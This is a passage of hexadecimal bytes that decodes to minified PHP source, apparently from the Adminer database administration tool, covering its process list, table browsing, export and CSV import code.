3D 27 63 65 6E 74 65 72 27 3E 3C 6C 61 62 65 6C 20 63 6C 61 73 73 3D 27
62 6C 6F 63 6B 27 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 63 68 65 63
6B 62 6F 78 27 20 6E 61 6D 65 3D 24 45 20 76 61 6C 75 65 3D 27 31 27 22
2E 28 24 59 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 28 24 7A 65
3D 3D 22 41 6C 6C 20 70 72 69 76 69 6C 65 67 65 73 22 3F 22 20 69 64 3D
27 67 72 61 6E 74 73 2D 24 73 2D 61 6C 6C 27 22 3A 28 24 7A 65 3D 3D 22
47 72 61 6E 74 20 6F 70 74 69 6F 6E 22 3F 22 22 3A 22 20 6F 6E 63 6C 69
63 6B 3D 5C 22 69 66 20 28 74 68 69 73 2E 63 68 65 63 6B 65 64 29 20 66
6F 72 6D 55 6E 63 68 65 63 6B 28 27 67 72 61 6E 74 73 2D 24 73 2D 61 6C
6C 27 29 3B 5C 22 22 29 29 2E 22 3E 3C 2F 6C 61 62 65 6C 3E 22 3B 24 73
2B 2B 3B 7D 7D 7D 65 63 68 6F 22 3C 2F 74 61 62 6C 65 3E 5C 6E 22 2C 27
3C 70 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22
20 76 61 6C 75 65 3D 22 53 61 76 65 22 3E 0A 27 3B 69 66 28 69 73 73 65
74 28 24 5F 47 45 54 5B 22 68 6F 73 74 22 5D 29 29 7B 65 63 68 6F 27 3C
69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 6E 61 6D 65
3D 22 64 72 6F 70 22 20 76 61 6C 75 65 3D 22 44 72 6F 70 22 27 2C 63 6F
6E 66 69 72 6D 28 29 2C 27 3E 27 3B 7D 65 63 68 6F 27 3C 69 6E 70 75 74
20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 74 6F 6B
65 6E 22 20 76 61 6C 75 65 3D 22 27 2C 24 54 2C 27 22 3E 0A 3C 2F 66 6F
72 6D 3E 0A 27 3B 7D 65 6C 73 65 69 66 28 69 73 73 65 74 28 24 5F 47 45
54 5B 22 70 72 6F 63 65 73 73 6C 69 73 74 22 5D 29 29 7B 69 66 28 73 75
70 70 6F 72 74 28 22 6B 69 6C 6C 22 29 26 26 24 5F 50 4F 53 54 26 26 21
24 6C 29 7B 24 57 63 3D 30 3B 66 6F 72 65 61 63 68 28 28 61 72 72 61 79
29 24 5F 50 4F 53 54 5B 22 6B 69 6C 6C 22 5D 61 73 24 58 29 7B 69 66 28
71 75 65 72 69 65 73 28 22 4B 49 4C 4C 20 22 2E 28 2B 24 58 29 29 29 24
57 63 2B 2B 3B 7D 71 75 65 72 69 65 73 5F 72 65 64 69 72 65 63 74 28 4D
45 2E 22 70 72 6F 63 65 73 73 6C 69 73 74 3D 22 2C 6C 61 6E 67 28 61 72
72 61 79 28 27 25 64 20 70 72 6F 63 65 73 73 20 68 61 73 20 62 65 65 6E
20 6B 69 6C 6C 65 64 2E 27 2C 27 25 64 20 70 72 6F 63 65 73 73 65 73 20
68 61 76 65 20 62 65 65 6E 20 6B 69 6C 6C 65 64 2E 27 29 2C 24 57 63 29
2C 24 57 63 7C 7C 21 24 5F 50 4F 53 54 5B 22 6B 69 6C 6C 22 5D 29 3B 7D
70 61 67 65 5F 68 65 61 64 65 72 28 27 50 72 6F 63 65 73 73 20 6C 69 73
74 27 2C 24 6C 29 3B 65 63 68 6F 27 0A 3C 66 6F 72 6D 20 61 63 74 69 6F
6E 3D 22 22 20 6D 65 74 68 6F 64 3D 22 70 6F 73 74 22 3E 0A 3C 74 61 62
6C 65 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 22 30 22 20 6F 6E 63 6C 69
63 6B 3D 22 74 61 62 6C 65 43 6C 69 63 6B 28 65 76 65 6E 74 29 3B 22 20
6F 6E 64 62 6C 63 6C 69 63 6B 3D 22 74 61 62 6C 65 43 6C 69 63 6B 28 65
76 65 6E 74 2C 20 74 72 75 65 29 3B 22 20 63 6C 61 73 73 3D 22 6E 6F 77
72 61 70 20 63 68 65 63 6B 61 62 6C 65 22 3E 0A 27 3B 24 73 3D 2D 31 3B
66 6F 72 65 61 63 68 28 70 72 6F 63 65 73 73 5F 6C 69 73 74 28 29 61 73
24 73 3D 3E 24 4C 29 7B 69 66 28 21 24 73 29 7B 65 63 68 6F 22 3C 74 68
65 61 64 3E 3C 74 72 20 6C 61 6E 67 3D 27 65 6E 27 3E 22 2E 28 73 75 70
70 6F 72 74 28 22 6B 69 6C 6C 22 29 3F 22 3C 74 68 3E 26 6E 62 73 70 3B
22 3A 22 22 29 3B 66 6F 72 65 61 63 68 28 24 4C 0A 61 73 24 79 3D 3E 24
58 29 65 63 68 6F 22 3C 74 68 3E 22 2E 28 24 78 3D 3D 22 73 71 6C 22 3F
22 3C 61 20 68 72 65 66 3D 27 68 74 74 70 3A 2F 2F 64 65 76 2E 6D 79 73
71 6C 2E 63 6F 6D 2F 64 6F 63 2F 72 65 66 6D 61 6E 2F 22 2E 73 75 62 73
74 72 28 24 67 2D 3E 73 65 72 76 65 72 5F 69 6E 66 6F 2C 30 2C 33 29 2E
22 2F 65 6E 2F 73 68 6F 77 2D 70 72 6F 63 65 73 73 6C 69 73 74 2E 68 74
6D 6C 23 70 72 6F 63 65 73 73 6C 69 73 74 5F 22 2E 73 74 72 74 6F 6C 6F
77 65 72 28 24 79 29 2E 22 27 20 74 61 72 67 65 74 3D 27 5F 62 6C 61 6E
6B 27 20 72 65 6C 3D 27 6E 6F 72 65 66 65 72 72 65 72 27 20 63 6C 61 73
73 3D 27 68 65 6C 70 27 3E 24 79 3C 2F 61 3E 22 3A 24 79 29 3B 65 63 68
6F 22 3C 2F 74 68 65 61 64 3E 5C 6E 22 3B 7D 65 63 68 6F 22 3C 74 72 22
2E 6F 64 64 28 29 2E 22 3E 22 2E 28 73 75 70 70 6F 72 74 28 22 6B 69 6C
6C 22 29 3F 22 3C 74 64 3E 22 2E 63 68 65 63 6B 62 6F 78 28 22 6B 69 6C
6C 5B 5D 22 2C 24 4C 5B 22 49 64 22 5D 2C 30 29 3A 22 22 29 3B 66 6F 72
65 61 63 68 28 24 4C 0A 61 73 24 79 3D 3E 24 58 29 65 63 68 6F 22 3C 74
64 3E 22 2E 28 28 24 78 3D 3D 22 73 71 6C 22 26 26 24 79 3D 3D 22 49 6E
66 6F 22 26 26 65 72 65 67 28 22 51 75 65 72 79 7C 4B 69 6C 6C 65 64 22
2C 24 4C 5B 22 43 6F 6D 6D 61 6E 64 22 5D 29 26 26 24 58 21 3D 22 22 29
7C 7C 28 24 78 3D 3D 22 70 67 73 71 6C 22 26 26 24 79 3D 3D 22 63 75 72
72 65 6E 74 5F 71 75 65 72 79 22 26 26 24 58 21 3D 22 3C 49 44 4C 45 3E
22 29 7C 7C 28 24 78 3D 3D 22 6F 72 61 63 6C 65 22 26 26 24 79 3D 3D 22
73 71 6C 5F 74 65 78 74 22 26 26 24 58 21 3D 22 22 29 3F 22 3C 63 6F 64
65 20 63 6C 61 73 73 3D 27 6A 75 73 68 2D 24 78 27 3E 22 2E 73 68 6F 72
74 65 6E 5F 75 74 66 38 28 24 58 2C 31 30 30 2C 22 3C 2F 63 6F 64 65 3E
22 29 2E 27 20 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 2E 28 24 4C
5B 22 64 62 22 5D 21 3D 22 22 3F 22 64 62 3D 22 2E 75 72 6C 65 6E 63 6F
64 65 28 24 4C 5B 22 64 62 22 5D 29 2E 22 26 22 3A 22 22 29 2E 22 73 71
6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 58 29 29 2E 27 22 3E 27 2E
27 43 6C 6F 6E 65 27 2E 27 3C 2F 61 3E 27 3A 6E 62 73 70 28 24 58 29 29
3B 65 63 68 6F 22 5C 6E 22 3B 7D 65 63 68 6F 27 3C 2F 74 61 62 6C 65 3E
0A 3C 73 63 72 69 70 74 20 74 79 70 65 3D 5C 27 74 65 78 74 2F 6A 61 76
61 73 63 72 69 70 74 5C 27 3E 74 61 62 6C 65 43 68 65 63 6B 28 29 3B 3C
2F 73 63 72 69 70 74 3E 0A 3C 70 3E 0A 27 3B 69 66 28 73 75 70 70 6F 72
74 28 22 6B 69 6C 6C 22 29 29 7B 65 63 68 6F 28 24 73 2B 31 29 2E 22 2F
22 2E 73 70 72 69 6E 74 66 28 27 25 64 20 69 6E 20 74 6F 74 61 6C 27 2C
24 67 2D 3E 72 65 73 75 6C 74 28 22 53 45 4C 45 43 54 20 40 40 6D 61 78
5F 63 6F 6E 6E 65 63 74 69 6F 6E 73 22 29 29 2C 22 3C 70 3E 3C 69 6E 70
75 74 20 74 79 70 65 3D 27 73 75 62 6D 69 74 27 20 76 61 6C 75 65 3D 27
22 2E 27 4B 69 6C 6C 27 2E 22 27 3E 5C 6E 22 3B 7D 65 63 68 6F 27 3C 69
6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D
22 74 6F 6B 65 6E 22 20 76 61 6C 75 65 3D 22 27 2C 24 54 2C 27 22 3E 0A
3C 2F 66 6F 72 6D 3E 0A 27 3B 7D 65 6C 73 65 69 66 28 69 73 73 65 74 28
24 5F 47 45 54 5B 22 73 65 6C 65 63 74 22 5D 29 29 7B 24 61 3D 24 5F 47
45 54 5B 22 73 65 6C 65 63 74 22 5D 3B 24 52 3D 74 61 62 6C 65 5F 73 74
61 74 75 73 31 28 24 61 29 3B 24 76 3D 69 6E 64 65 78 65 73 28 24 61 29
3B 24 6E 3D 66 69 65 6C 64 73 28 24 61 29 3B 24 70 3D 63 6F 6C 75 6D 6E
5F 66 6F 72 65 69 67 6E 5F 6B 65 79 73 28 24 61 29 3B 24 49 64 3D 22 22
3B 69 66 28 24 52 5B 22 4F 69 64 22 5D 29 7B 24 49 64 3D 28 24 78 3D 3D
22 73 71 6C 69 74 65 22 3F 22 72 6F 77 69 64 22 3A 22 6F 69 64 22 29 3B
24 76 5B 5D 3D 61 72 72 61 79 28 22 74 79 70 65 22 3D 3E 22 50 52 49 4D
41 52 59 22 2C 22 63 6F 6C 75 6D 6E 73 22 3D 3E 61 72 72 61 79 28 24 49
64 29 29 3B 7D 70 61 72 73 65 5F 73 74 72 28 24 5F 43 4F 4F 4B 49 45 5B
22 61 64 6D 69 6E 65 72 5F 69 6D 70 6F 72 74 22 5D 2C 24 6C 61 29 3B 24
54 65 3D 61 72 72 61 79 28 29 3B 24 66 3D 61 72 72 61 79 28 29 3B 24 4A
66 3D 6E 75 6C 6C 3B 66 6F 72 65 61 63 68 28 24 6E 0A 61 73 24 79 3D 3E
24 6D 29 7B 24 45 3D 24 62 2D 3E 66 69 65 6C 64 4E 61 6D 65 28 24 6D 29
3B 69 66 28 69 73 73 65 74 28 24 6D 5B 22 70 72 69 76 69 6C 65 67 65 73
22 5D 5B 22 73 65 6C 65 63 74 22 5D 29 26 26 24 45 21 3D 22 22 29 7B 24
66 5B 24 79 5D 3D 68 74 6D 6C 5F 65 6E 74 69 74 79 5F 64 65 63 6F 64 65
28 73 74 72 69 70 5F 74 61 67 73 28 24 45 29 2C 45 4E 54 5F 51 55 4F 54
45 53 29 3B 69 66 28 69 73 5F 73 68 6F 72 74 61 62 6C 65 28 24 6D 29 29
24 4A 66 3D 24 62 2D 3E 73 65 6C 65 63 74 4C 65 6E 67 74 68 50 72 6F 63
65 73 73 28 29 3B 7D 24 54 65 2B 3D 24 6D 5B 22 70 72 69 76 69 6C 65 67
65 73 22 5D 3B 7D 6C 69 73 74 28 24 4E 2C 24 78 63 29 3D 24 62 2D 3E 73
65 6C 65 63 74 43 6F 6C 75 6D 6E 73 50 72 6F 63 65 73 73 28 24 66 2C 24
76 29 3B 24 50 63 3D 63 6F 75 6E 74 28 24 78 63 29 3C 63 6F 75 6E 74 28
24 4E 29 3B 24 5A 3D 24 62 2D 3E 73 65 6C 65 63 74 53 65 61 72 63 68 50
72 6F 63 65 73 73 28 24 6E 2C 24 76 29 3B 24 56 64 3D 24 62 2D 3E 73 65
6C 65 63 74 4F 72 64 65 72 50 72 6F 63 65 73 73 28 24 6E 2C 24 76 29 3B
24 7A 3D 24 62 2D 3E 73 65 6C 65 63 74 4C 69 6D 69 74 50 72 6F 63 65 73
73 28 29 3B 24 73 63 3D 28 24 4E 3F 69 6D 70 6C 6F 64 65 28 22 2C 20 22
2C 24 4E 29 3A 22 2A 22 2E 28 24 49 64 3F 22 2C 20 24 49 64 22 3A 22 22
29 29 2E 63 6F 6E 76 65 72 74 5F 66 69 65 6C 64 73 28 24 66 2C 24 6E 2C
24 4E 29 2E 22 5C 6E 46 52 4F 4D 20 22 2E 74 61 62 6C 65 28 24 61 29 3B
24 79 63 3D 28 24 78 63 26 26 24 50 63 3F 22 5C 6E 47 52 4F 55 50 20 42
59 20 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C 24 78 63 29 3A 22 22
29 2E 28 24 56 64 3F 22 5C 6E 4F 52 44 45 52 20 42 59 20 22 2E 69 6D 70
6C 6F 64 65 28 22 2C 20 22 2C 24 56 64 29 3A 22 22 29 3B 69 66 28 24 5F
47 45 54 5B 22 76 61 6C 22 5D 26 26 69 73 5F 61 6A 61 78 28 29 29 7B 68
65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74 65 78
74 2F 70 6C 61 69 6E 3B 20 63 68 61 72 73 65 74 3D 75 74 66 2D 38 22 29
3B 66 6F 72 65 61 63 68 28 24 5F 47 45 54 5B 22 76 61 6C 22 5D 61 73 24
67 67 3D 3E 24 4C 29 7B 24 73 61 3D 63 6F 6E 76 65 72 74 5F 66 69 65 6C
64 28 24 6E 5B 6B 65 79 28 24 4C 29 5D 29 3B 65 63 68 6F 24 67 2D 3E 72
65 73 75 6C 74 28 22 53 45 4C 45 43 54 22 2E 6C 69 6D 69 74 28 24 73 61
3F 24 73 61 3A 69 64 66 5F 65 73 63 61 70 65 28 6B 65 79 28 24 4C 29 29
2E 22 20 46 52 4F 4D 20 22 2E 74 61 62 6C 65 28 24 61 29 2C 22 20 57 48
45 52 45 20 22 2E 77 68 65 72 65 5F 63 68 65 63 6B 28 24 67 67 2C 24 6E
29 2E 28 24 5A 3F 22 20 41 4E 44 20 22 2E 69 6D 70 6C 6F 64 65 28 22 20
41 4E 44 20 22 2C 24 5A 29 3A 22 22 29 2E 28 24 56 64 3F 22 20 4F 52 44
45 52 20 42 59 20 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C 24 56 64
29 3A 22 22 29 2C 31 29 29 3B 7D 65 78 69 74 3B 7D 69 66 28 24 5F 50 4F
53 54 26 26 21 24 6C 29 7B 24 77 67 3D 24 5A 3B 69 66 28 69 73 5F 61 72
72 61 79 28 24 5F 50 4F 53 54 5B 22 63 68 65 63 6B 22 5D 29 29 24 77 67
5B 5D 3D 22 28 28 22 2E 69 6D 70 6C 6F 64 65 28 22 29 20 4F 52 20 28 22
2C 61 72 72 61 79 5F 6D 61 70 28 27 77 68 65 72 65 5F 63 68 65 63 6B 27
2C 24 5F 50 4F 53 54 5B 22 63 68 65 63 6B 22 5D 29 29 2E 22 29 29 22 3B
24 77 67 3D 28 24 77 67 3F 22 5C 6E 57 48 45 52 45 20 22 2E 69 6D 70 6C
6F 64 65 28 22 20 41 4E 44 20 22 2C 24 77 67 29 3A 22 22 29 3B 24 77 65
3D 24 69 67 3D 6E 75 6C 6C 3B 66 6F 72 65 61 63 68 28 24 76 0A 61 73 24
75 29 7B 69 66 28 24 75 5B 22 74 79 70 65 22 5D 3D 3D 22 50 52 49 4D 41
52 59 22 29 7B 24 77 65 3D 61 72 72 61 79 5F 66 6C 69 70 28 24 75 5B 22
63 6F 6C 75 6D 6E 73 22 5D 29 3B 24 69 67 3D 28 24 4E 3F 24 77 65 3A 61
72 72 61 79 28 29 29 3B 62 72 65 61 6B 3B 7D 7D 66 6F 72 65 61 63 68 28
28 61 72 72 61 79 29 24 69 67 0A 61 73 24 79 3D 3E 24 58 29 7B 69 66 28
69 6E 5F 61 72 72 61 79 28 69 64 66 5F 65 73 63 61 70 65 28 24 79 29 2C
24 4E 29 29 75 6E 73 65 74 28 24 69 67 5B 24 79 5D 29 3B 7D 69 66 28 24
5F 50 4F 53 54 5B 22 65 78 70 6F 72 74 22 5D 29 7B 63 6F 6F 6B 69 65 28
22 61 64 6D 69 6E 65 72 5F 69 6D 70 6F 72 74 22 2C 22 6F 75 74 70 75 74
3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 5F 50 4F 53 54 5B 22 6F 75 74
70 75 74 22 5D 29 2E 22 26 66 6F 72 6D 61 74 3D 22 2E 75 72 6C 65 6E 63
6F 64 65 28 24 5F 50 4F 53 54 5B 22 66 6F 72 6D 61 74 22 5D 29 29 3B 64
75 6D 70 5F 68 65 61 64 65 72 73 28 24 61 29 3B 24 62 2D 3E 64 75 6D 70
54 61 62 6C 65 28 24 61 2C 22 22 29 3B 69 66 28 21 69 73 5F 61 72 72 61
79 28 24 5F 50 4F 53 54 5B 22 63 68 65 63 6B 22 5D 29 7C 7C 24 69 67 3D
3D 3D 61 72 72 61 79 28 29 29 24 49 3D 22 53 45 4C 45 43 54 20 24 73 63
24 77 67 24 79 63 22 3B 65 6C 73 65 7B 24 65 67 3D 61 72 72 61 79 28 29
3B 66 6F 72 65 61 63 68 28 24 5F 50 4F 53 54 5B 22 63 68 65 63 6B 22 5D
61 73 24 58 29 24 65 67 5B 5D 3D 22 28 53 45 4C 45 43 54 22 2E 6C 69 6D
69 74 28 24 73 63 2C 22 5C 6E 57 48 45 52 45 20 22 2E 28 24 5A 3F 69 6D
70 6C 6F 64 65 28 22 20 41 4E 44 20 22 2C 24 5A 29 2E 22 20 41 4E 44 20
22 3A 22 22 29 2E 77 68 65 72 65 5F 63 68 65 63 6B 28 24 58 2C 24 6E 29
2E 24 79 63 2C 31 29 2E 22 29 22 3B 24 49 3D 69 6D 70 6C 6F 64 65 28 22
20 55 4E 49 4F 4E 20 41 4C 4C 20 22 2C 24 65 67 29 3B 7D 24 62 2D 3E 64
75 6D 70 44 61 74 61 28 24 61 2C 22 74 61 62 6C 65 22 2C 24 49 29 3B 65
78 69 74 3B 7D 69 66 28 21 24 62 2D 3E 73 65 6C 65 63 74 45 6D 61 69 6C
50 72 6F 63 65 73 73 28 24 5A 2C 24 70 29 29 7B 69 66 28 24 5F 50 4F 53
54 5B 22 73 61 76 65 22 5D 7C 7C 24 5F 50 4F 53 54 5B 22 64 65 6C 65 74
65 22 5D 29 7B 24 4A 3D 74 72 75 65 3B 24 6D 61 3D 30 3B 24 49 3D 74 61
62 6C 65 28 24 61 29 3B 24 50 3D 61 72 72 61 79 28 29 3B 69 66 28 21 24
5F 50 4F 53 54 5B 22 64 65 6C 65 74 65 22 5D 29 7B 66 6F 72 65 61 63 68
28 24 66 0A 61 73 24 45 3D 3E 24 58 29 7B 24 58 3D 70 72 6F 63 65 73 73
5F 69 6E 70 75 74 28 24 6E 5B 24 45 5D 29 3B 69 66 28 24 58 21 3D 3D 6E
75 6C 6C 29 7B 69 66 28 24 5F 50 4F 53 54 5B 22 63 6C 6F 6E 65 22 5D 29
24 50 5B 69 64 66 5F 65 73 63 61 70 65 28 24 45 29 5D 3D 28 24 58 21 3D
3D 66 61 6C 73 65 3F 24 58 3A 69 64 66 5F 65 73 63 61 70 65 28 24 45 29
29 3B 65 6C 73 65 69 66 28 24 58 21 3D 3D 66 61 6C 73 65 29 24 50 5B 5D
3D 69 64 66 5F 65 73 63 61 70 65 28 24 45 29 2E 22 20 3D 20 24 58 22 3B
7D 7D 24 49 2E 3D 28 24 5F 50 4F 53 54 5B 22 63 6C 6F 6E 65 22 5D 3F 22
20 28 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C 61 72 72 61 79 5F 6B
65 79 73 28 24 50 29 29 2E 22 29 5C 6E 53 45 4C 45 43 54 20 22 2E 69 6D
70 6C 6F 64 65 28 22 2C 20 22 2C 24 50 29 2E 22 5C 6E 46 52 4F 4D 20 22
2E 74 61 62 6C 65 28 24 61 29 3A 22 20 53 45 54 5C 6E 22 2E 69 6D 70 6C
6F 64 65 28 22 2C 5C 6E 22 2C 24 50 29 29 3B 7D 69 66 28 24 5F 50 4F 53
54 5B 22 64 65 6C 65 74 65 22 5D 7C 7C 24 50 29 7B 24 54 61 3D 22 55 50
44 41 54 45 22 3B 69 66 28 24 5F 50 4F 53 54 5B 22 64 65 6C 65 74 65 22
5D 29 7B 24 54 61 3D 22 44 45 4C 45 54 45 22 3B 24 49 3D 22 46 52 4F 4D
20 24 49 22 3B 7D 69 66 28 24 5F 50 4F 53 54 5B 22 63 6C 6F 6E 65 22 5D
29 7B 24 54 61 3D 22 49 4E 53 45 52 54 22 3B 24 49 3D 22 49 4E 54 4F 20
24 49 22 3B 7D 69 66 28 24 5F 50 4F 53 54 5B 22 61 6C 6C 22 5D 7C 7C 28
24 69 67 3D 3D 3D 61 72 72 61 79 28 29 26 26 69 73 5F 61 72 72 61 79 28
24 5F 50 4F 53 54 5B 22 63 68 65 63 6B 22 5D 29 29 7C 7C 24 50 63 29 7B
24 4A 3D 71 75 65 72 69 65 73 28 22 24 54 61 20 24 49 24 77 67 22 29 3B
24 6D 61 3D 24 67 2D 3E 61 66 66 65 63 74 65 64 5F 72 6F 77 73 3B 7D 65
6C 73 65 7B 66 6F 72 65 61 63 68 28 28 61 72 72 61 79 29 24 5F 50 4F 53
54 5B 22 63 68 65 63 6B 22 5D 61 73 24 58 29 7B 24 4A 3D 71 75 65 72 69
65 73 28 24 54 61 2E 6C 69 6D 69 74 31 28 24 49 2C 22 5C 6E 57 48 45 52
45 20 22 2E 28 24 5A 3F 69 6D 70 6C 6F 64 65 28 22 20 41 4E 44 20 22 2C
24 5A 29 2E 22 20 41 4E 44 20 22 3A 22 22 29 2E 77 68 65 72 65 5F 63 68
65 63 6B 28 24 58 2C 24 6E 29 29 29 3B 69 66 28 21 24 4A 29 62 72 65 61
6B 3B 24 6D 61 2B 3D 24 67 2D 3E 61 66 66 65 63 74 65 64 5F 72 6F 77 73
3B 7D 7D 7D 24 43 3D 6C 61 6E 67 28 61 72 72 61 79 28 27 25 64 20 69 74
65 6D 20 68 61 73 20 62 65 65 6E 20 61 66 66 65 63 74 65 64 2E 27 2C 27
25 64 20 69 74 65 6D 73 20 68 61 76 65 20 62 65 65 6E 20 61 66 66 65 63
74 65 64 2E 27 29 2C 24 6D 61 29 3B 69 66 28 24 5F 50 4F 53 54 5B 22 63
6C 6F 6E 65 22 5D 26 26 24 4A 26 26 24 6D 61 3D 3D 31 29 7B 24 61 64 3D
6C 61 73 74 5F 69 64 28 29 3B 69 66 28 24 61 64 29 24 43 3D 73 70 72 69
6E 74 66 28 27 49 74 65 6D 25 73 20 68 61 73 20 62 65 65 6E 20 69 6E 73
65 72 74 65 64 2E 27 2C 22 20 24 61 64 22 29 3B 7D 71 75 65 72 69 65 73
5F 72 65 64 69 72 65 63 74 28 72 65 6D 6F 76 65 5F 66 72 6F 6D 5F 75 72
69 28 24 5F 50 4F 53 54 5B 22 61 6C 6C 22 5D 26 26 24 5F 50 4F 53 54 5B
22 64 65 6C 65 74 65 22 5D 3F 22 70 61 67 65 22 3A 22 22 29 2C 24 43 2C
24 4A 29 3B 7D 65 6C 73 65 69 66 28 21 24 5F 50 4F 53 54 5B 22 69 6D 70
6F 72 74 22 5D 29 7B 69 66 28 21 24 5F 50 4F 53 54 5B 22 76 61 6C 22 5D
29 24 6C 3D 27 43 74 72 6C 2B 63 6C 69 63 6B 20 6F 6E 20 61 20 76 61 6C
75 65 20 74 6F 20 6D 6F 64 69 66 79 20 69 74 2E 27 3B 65 6C 73 65 7B 24
4A 3D 74 72 75 65 3B 24 6D 61 3D 30 3B 66 6F 72 65 61 63 68 28 24 5F 50
4F 53 54 5B 22 76 61 6C 22 5D 61 73 24 67 67 3D 3E 24 4C 29 7B 24 50 3D
61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 24 4C 0A 61 73 24 79 3D
3E 24 58 29 7B 24 79 3D 62 72 61 63 6B 65 74 5F 65 73 63 61 70 65 28 24
79 2C 31 29 3B 24 50 5B 5D 3D 69 64 66 5F 65 73 63 61 70 65 28 24 79 29
2E 22 20 3D 20 22 2E 28 65 72 65 67 28 27 63 68 61 72 7C 74 65 78 74 27
2C 24 6E 5B 24 79 5D 5B 22 74 79 70 65 22 5D 29 7C 7C 24 58 21 3D 22 22
3F 24 62 2D 3E 70 72 6F 63 65 73 73 49 6E 70 75 74 28 24 6E 5B 24 79 5D
2C 24 58 29 3A 22 4E 55 4C 4C 22 29 3B 7D 24 49 3D 74 61 62 6C 65 28 24
61 29 2E 22 20 53 45 54 20 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C
24 50 29 3B 24 76 67 3D 22 20 57 48 45 52 45 20 22 2E 77 68 65 72 65 5F
63 68 65 63 6B 28 24 67 67 2C 24 6E 29 2E 28 24 5A 3F 22 20 41 4E 44 20
22 2E 69 6D 70 6C 6F 64 65 28 22 20 41 4E 44 20 22 2C 24 5A 29 3A 22 22
29 3B 24 4A 3D 71 75 65 72 69 65 73 28 22 55 50 44 41 54 45 22 2E 28 24
50 63 7C 7C 24 69 67 3D 3D 3D 61 72 72 61 79 28 29 3F 22 20 24 49 24 76
67 22 3A 6C 69 6D 69 74 31 28 24 49 2C 24 76 67 29 29 29 3B 69 66 28 21
24 4A 29 62 72 65 61 6B 3B 24 6D 61 2B 3D 24 67 2D 3E 61 66 66 65 63 74
65 64 5F 72 6F 77 73 3B 7D 71 75 65 72 69 65 73 5F 72 65 64 69 72 65 63
74 28 72 65 6D 6F 76 65 5F 66 72 6F 6D 5F 75 72 69 28 29 2C 6C 61 6E 67
28 61 72 72 61 79 28 27 25 64 20 69 74 65 6D 20 68 61 73 20 62 65 65 6E
20 61 66 66 65 63 74 65 64 2E 27 2C 27 25 64 20 69 74 65 6D 73 20 68 61
76 65 20 62 65 65 6E 20 61 66 66 65 63 74 65 64 2E 27 29 2C 24 6D 61 29
2C 24 4A 29 3B 7D 7D 65 6C 73 65 69 66 28 21 69 73 5F 73 74 72 69 6E 67
28 24 68 63 3D 67 65 74 5F 66 69 6C 65 28 22 63 73 76 5F 66 69 6C 65 22
2C 74 72 75 65 29 29 29 24 6C 3D 75 70 6C 6F 61 64 5F 65 72 72 6F 72 28
24 68 63 29 3B 65 6C 73 65 69 66 28 21 70 72 65 67 5F 6D 61 74 63 68 28
27 7E 7E 75 27 2C 24 68 63 29 29 24 6C 3D 27 46 69 6C 65 20 6D 75 73 74
20 62 65 20 69 6E 20 55 54 46 2D 38 20 65 6E 63 6F 64 69 6E 67 2E 27 3B
65 6C 73 65 7B 63 6F 6F 6B 69 65 28 22 61 64 6D 69 6E 65 72 5F 69 6D 70
6F 72 74 22 2C 22 6F 75 74 70 75 74 3D 22 2E 75 72 6C 65 6E 63 6F 64 65
28 24 6C 61 5B 22 6F 75 74 70 75 74 22 5D 29 2E 22 26 66 6F 72 6D 61 74
3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 5F 50 4F 53 54 5B 22 73 65 70
61 72 61 74 6F 72 22 5D 29 29 3B 24 4A 3D 74 72 75 65 3B 24 53 61 3D 61
72 72 61 79 5F 6B 65 79 73 28 24 6E 29 3B 70 72 65 67 5F 6D 61 74 63 68
5F 61 6C 6C 28 27 7E 28 3F 3E 22 5B 5E 22 5D 2A 22 7C 5B 5E 22 5C 5C 72
5C 5C 6E 5D 2B 29 2B 7E 27 2C 24 68 63 2C 24 6C 64 29 3B 24 6D 61 3D 63
6F 75 6E 74 28 24 6C 64 5B 30 5D 29 3B 62 65 67 69 6E 28 29 3B 24 65 66
3D 28 24 5F 50 4F 53 54 5B 22 73 65 70 61 72 61 74 6F 72 22 5D 3D 3D 22
63 73 76 22 3F 22 2C 22 3A 28 24 5F 50 4F 53 54 5B 22 73 65 70 61 72 61
74 6F 72 22 5D 3D 3D 22 74 73 76 22 3F 22 5C 74 22 3A 22 3B 22 29 29 3B
66 6F 72 65 61 63 68 28 24 6C 64 5B 30 5D 61 73 24 79 3D 3E 24 58 29 7B
70 72 65 67 5F 6D 61 74 63 68 5F 61 6C 6C 28 22 7E 28 28 3F 3E 5C 22 5B
5E 5C 22 5D 2A 5C 22 29 2B 7C 5B 5E 24 65 66 5D 2A 29 24 65 66 7E 22 2C
24 58 2E 24 65 66 2C 24 6D 64 29 3B 69 66 28 21 24 79 26 26 21 61 72 72
61 79 5F 64 69 66 66 28 24 6D 64 5B 31 5D 2C 24 53 61 29 29 7B 24 53 61
3D 24 6D 64 5B 31 5D 3B 24 6D 61 2D 2D 3B 7D 65 6C 73 65 7B 24 50 3D 61
72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 24 6D 64 5B 31 5D 61 73 24
73 3D 3E 24 50 61 29 24 50 5B 69 64 66 5F 65 73 63 61 70 65 28 24 53 61
5B 24 73 5D 29 5D 3D 28 24 50 61 3D 3D 22 22 26 26 24 6E 5B 24 53 61 5B
24 73 5D 5D 5B 22 6E 75 6C 6C 22 5D 3F 22 4E 55 4C 4C 22 3A 71 28 73 74
72 5F 72 65 70 6C 61 63 65 28 27 22 22 27 2C 27 22 27 2C 70 72 65 67 5F
72 65 70 6C 61 63 65 28 27 7E 5E 22 7C 22 24 7E 27 2C 27 27 2C 24 50 61
29 29 29 29 3B 24 4A 3D 69 6E 73 65 72 74 5F 75 70 64 61 74 65 28 24 61
